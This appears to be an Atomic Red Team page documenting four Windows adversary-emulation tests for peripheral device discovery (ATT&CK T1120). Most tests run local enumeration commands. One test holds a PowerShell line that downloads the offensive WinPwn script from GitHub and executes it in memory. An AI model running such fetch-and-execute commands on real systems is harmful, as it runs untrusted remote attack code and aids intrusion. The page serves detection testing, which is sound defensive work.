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Atomic Red Team
atomics
T1120

T1120 - Peripheral Device Discovery

Description from ATT&CK (opens in a new tab)

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Atomic Tests


Atomic Test #1 - Win32_PnPEntity Hardware Inventory

Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity

Supported Platforms: Windows

auto_generated_guid: 2cb4dbf2-2dca-4597-8678-4d39d207a3a5

Attack Commands: Run with powershell!

Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt

Cleanup Commands:

Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore


Atomic Test #2 - WinPwn - printercheck

Search for printers / potential vulns using printercheck function of WinPwn

Supported Platforms: Windows

auto_generated_guid: cb6e76ca-861e-4a7f-be08-564caa3e6f75

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput


Atomic Test #3 - Peripheral Device Discovery via fsutil

Performs pheripheral device discovery utilizing fsutil to list all drives.

Supported Platforms: Windows

auto_generated_guid: 424e18fd-48b8-4201-8d3a-bf591523a686

Attack Commands: Run with command_prompt!

fsutil fsinfo drives


Atomic Test #4 - Get Printer Device List via PowerShell Command

This test uses PowerShell to list printers on a Windows system, demonstrating a discovery technique attackers might use to gather details on connected devices. Using Get-Printer, they can view information on all available printers, identifying potential devices for further targeting.

Supported Platforms: Windows

auto_generated_guid: 5c876daf-db1e-41cf-988d-139a7443ccd4

Attack Commands: Run with powershell!

Get-Printer

T1119T1123